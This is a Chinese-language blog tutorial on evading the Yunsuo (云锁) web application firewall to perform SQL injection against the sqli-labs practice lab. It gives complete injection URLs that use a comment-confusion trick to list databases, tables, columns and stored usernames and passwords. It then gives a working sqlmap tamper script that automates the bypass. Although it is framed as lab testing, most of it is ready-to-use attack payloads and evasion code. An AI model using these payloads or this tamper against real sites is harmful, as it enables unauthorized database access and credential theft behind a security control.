前言

云锁更新到最新的版本之后,版本注释已经不能使用了,导致云锁又成为测试网站的一个难题,不过经过我们的测试,虽然版本注释已经不能使用了,但是我们可以使用正常的注释来进行注入,当然我们需要给它变个型。

环境介绍

操作系统:win2008
waf:云锁3.1.20.15
漏洞环境:sqlilabs
日期:2020.7.30

Bypass

1.首先我们安装好云锁之后,我们将其过滤规则配置如下
开启增强型防护

之前我们还可以使用版本注释来绕过进行注入,但是这次我们看最后一个规则,这个正则刚好限制了我们使用版本注释来绕过。

2.我们测试一下最基本的语句order by,已经可以正常拦截。

3.如果我们将命令放入到注释中,就可以绕过云锁的检测,但是命令无法执行

这里我们可以知道,如果是在注释中的命令,云锁是不会拦截的,如果我们可以构造一个带有注释命令,但是注释没有被执行,我们就可以绕过云锁的检测了
4.构造一个不执行的注释

http://192.168.252.151/sqli-labs/Less-1/?id=-1' || 1="/*" union select 1,2,3 -- +*/


这种情况我们可以发现,其中第一个单引号闭合了之前的单引号,然后我们由于第一个的id是-1,所以会执行或的判断,然后我们有判断了1="/*"这种情况是判断了1是否等于/*,但是连接了后面的语句之后,云锁把/*" union select 1,2,3 -- +*/当做了注释中的内容, 所以没将/**/里的命令没有进行过滤,导致绕过了云锁。

5.既然知道了如何绕过云锁,那么我们直接一条龙拿到数据即可

拿到所有的数据库

http://192.168.252.151/sqli-labs/Less-1/?id=-1' || 1="/*" union select 1,(select group_concat(schema_name) from information_schema.schemata),3 -- +*/


拿到数据库中的表

http://192.168.252.151/sqli-labs/Less-1/?id=-1' || 1="/*" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3 -- +*/


拿到字段名

http://192.168.252.151/sqli-labs/Less-1/?id=-1' || 1="/*" union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273),3 -- +*/


拿到值

http://192.168.252.151/sqli-labs/Less-1/?id=-1' || 1="/*" union select 1,(select group_concat(username,password) from security.users),3 -- +*/

Tamper的编写

虽然成功绕过云锁注入,不过还有一个问题,就是使用这种方式来写tamper使用sqlmap进行测试替换起来这个1='/*'兼容度不太好,我们可以对其进行改变来编写一个适合sqlmap使用的tamper。
首先我们继续进行测试,由于我们知道使用'/*'可以绕过云锁,那么我们就继续使用这个来进行绕过测试,看能不能找出其他的方法。
首先经过我们测试,我们在查询数据的时候,'/*'不会影响数据库语句的执行

不过在我们测试数值型的时候用这种方式就失败了

我们给其加上||的时候,又成功了

我们了解这种情况之后,我们可以修改其判定条件让其可以进行正确的判断,接下来的测试我们将1='/*'替换为1!='/*',这样一来我们前面的语句成为了一个整体,我们又可以正常进行后面的判断了,如果使用那么我们的盲注和报错注入将会失败。

最终我们修改为如下格式'1'!='/*'

接下来我们就开始进行tamper的编写,但是我们需要知道sqlmap在进行注入的时候使用了哪些语句,这样我们才能够很精准的替换,我们先写一个tamper来获取其注入语句

import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.HIGHER

def dependencies():
    pass

def tamper(payload, **kwargs):
        f = open("YS4.txt",'a')
        f.write(payload)
        f.write('\r\n')
        f.close()
    return payload

我们在注入的时候使用这个tamper来进行注入--tamper 脚本名字,最终我们获取了一下几种类型的注入

123
-123
-123'
-123"
-123)'
-123)
-123))'
;(SELECT ....
123%'

我们根据这些条件来编写正则

rex = '^-{0,1}?[\d|\w]*%{0,1}[\'|"|`]*\\)*[ |;]'     

最终得到完整的tamper如下

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
author:Alexsel
"""

import os
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.HIGHER

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    if payload:
        if(re.match("^[>=|<=]",payload)):
            return payload
        if(re.match("^-{0,1}?\d+$",payload)):
            return payload
        if(re.match("^\(SELECT",payload)):
            payload = "|| 1='/*' "+payload
            return payload
        rex = '^-{0,1}?[\d|\w]*%{0,1}[\'|"|`]*\\)*[ |;]'                        
        payload = re.sub(rex, lambda x:x.group(0)+" %26%26 1!='/*' ", payload)      
    return payload
最后修改:2020 年 08 月 26 日 02 : 56 PM